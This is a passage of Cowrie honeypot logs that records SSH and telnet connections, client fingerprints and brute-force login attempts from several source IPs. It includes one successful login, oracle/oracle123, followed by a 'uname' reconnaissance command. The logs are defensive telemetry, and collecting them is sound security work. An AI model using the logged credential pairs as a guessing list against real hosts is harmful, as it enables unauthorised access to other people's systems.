256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:07.098654Z","src_ip":"45.153.34.97","session":"c4648fef9fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aman","message":"login attempt [root/aman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:07.492302Z","src_ip":"45.153.34.97","session":"c4648fef9fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:08.580710Z","src_ip":"45.153.34.97","session":"c4648fef9fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":49944,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc2feea95aab","protocol":"ssh","message":"New connection: 43.135.177.217:49944 (10.17.0.5:22) [session: dc2feea95aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:09.558200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:09.566570Z","src_ip":"43.135.177.217","session":"dc2feea95aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:09.635189Z","src_ip":"43.135.177.217","session":"dc2feea95aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf","message":"login attempt [root/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:09.939592Z","src_ip":"43.135.177.217","session":"dc2feea95aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":34614,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b314fd8d00f","protocol":"ssh","message":"New connection: 147.45.199.80:34614 (10.17.0.5:22) [session: 9b314fd8d00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:09.979073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:09.984009Z","src_ip":"147.45.199.80","session":"9b314fd8d00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:10.082399Z","src_ip":"147.45.199.80","session":"9b314fd8d00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcfyl","message":"login attempt [root/fktrcfyl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:10.378699Z","src_ip":"147.45.199.80","session":"9b314fd8d00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:11.011342Z","src_ip":"43.135.177.217","session":"dc2feea95aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:11.478601Z","src_ip":"147.45.199.80","session":"9b314fd8d00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":47038,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9fa01c5d469","protocol":"ssh","message":"New connection: 45.153.34.97:47038 (10.17.0.5:22) [session: e9fa01c5d469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:11.704879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:11.709767Z","src_ip":"45.153.34.97","session":"e9fa01c5d469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:11.794012Z","src_ip":"45.153.34.97","session":"e9fa01c5d469","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:12.186316Z","src_ip":"45.153.34.97","session":"e9fa01c5d469","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:12.427769Z","src_ip":"45.153.34.97","session":"e9fa01c5d469","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:12.431417Z","src_ip":"45.153.34.97","session":"e9fa01c5d469","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:12.518652Z","src_ip":"45.153.34.97","session":"e9fa01c5d469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:12.524329Z","src_ip":"45.153.34.97","session":"e9fa01c5d469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38144,"dst_ip":"10.17.0.5","dst_port":23,"session":"73000609eb33","protocol":"telnet","message":"New connection: 152.42.224.71:38144 (10.17.0.5:23) [session: 73000609eb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:13.834680Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":47046,"dst_ip":"10.17.0.5","dst_port":22,"session":"443f03934981","protocol":"ssh","message":"New connection: 45.153.34.97:47046 (10.17.0.5:22) [session: 443f03934981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:15.889896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:15.896424Z","src_ip":"45.153.34.97","session":"443f03934981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:15.978195Z","src_ip":"45.153.34.97","session":"443f03934981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:16.519796Z","src_ip":"45.153.34.97","session":"443f03934981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:17.606112Z","src_ip":"45.153.34.97","session":"443f03934981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12336,"dst_ip":"10.17.0.5","dst_port":22,"session":"449a018bbf25","protocol":"ssh","message":"New connection: 45.153.34.97:12336 (10.17.0.5:22) [session: 449a018bbf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:20.376055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:20.406233Z","src_ip":"45.153.34.97","session":"449a018bbf25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:20.483388Z","src_ip":"45.153.34.97","session":"449a018bbf25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:20.874544Z","src_ip":"45.153.34.97","session":"449a018bbf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:21.999029Z","src_ip":"45.153.34.97","session":"449a018bbf25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":55814,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e8a851cac4","protocol":"ssh","message":"New connection: 43.153.36.83:55814 (10.17.0.5:22) [session: 69e8a851cac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:23.124483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:23.128742Z","src_ip":"43.153.36.83","session":"69e8a851cac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:23.196254Z","src_ip":"43.153.36.83","session":"69e8a851cac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miranda","message":"login attempt [root/miranda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:23.497831Z","src_ip":"43.153.36.83","session":"69e8a851cac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:24.569705Z","src_ip":"43.153.36.83","session":"69e8a851cac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12344,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c5439f28d45","protocol":"ssh","message":"New connection: 45.153.34.97:12344 (10.17.0.5:22) [session: 4c5439f28d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:24.673530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:24.679343Z","src_ip":"45.153.34.97","session":"4c5439f28d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53088,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf15cb98413","protocol":"telnet","message":"New connection: 152.42.224.71:53088 (10.17.0.5:23) [session: edf15cb98413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:24.890968Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:25.194926Z","src_ip":"45.153.34.97","session":"4c5439f28d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53092,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad99b612f7cf","protocol":"telnet","message":"New connection: 152.42.224.71:53092 (10.17.0.5:23) [session: ad99b612f7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:25.202993Z"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:25.603664Z","src_ip":"45.153.34.97","session":"4c5439f28d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:26.804079Z","src_ip":"45.153.34.97","session":"4c5439f28d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12354,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0fb62bec845","protocol":"ssh","message":"New connection: 45.153.34.97:12354 (10.17.0.5:22) [session: b0fb62bec845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:29.174828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:29.179985Z","src_ip":"45.153.34.97","session":"b0fb62bec845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38268,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc217cd21b4a","protocol":"telnet","message":"New connection: 152.42.224.71:38268 (10.17.0.5:23) [session: cc217cd21b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:29.427185Z"}
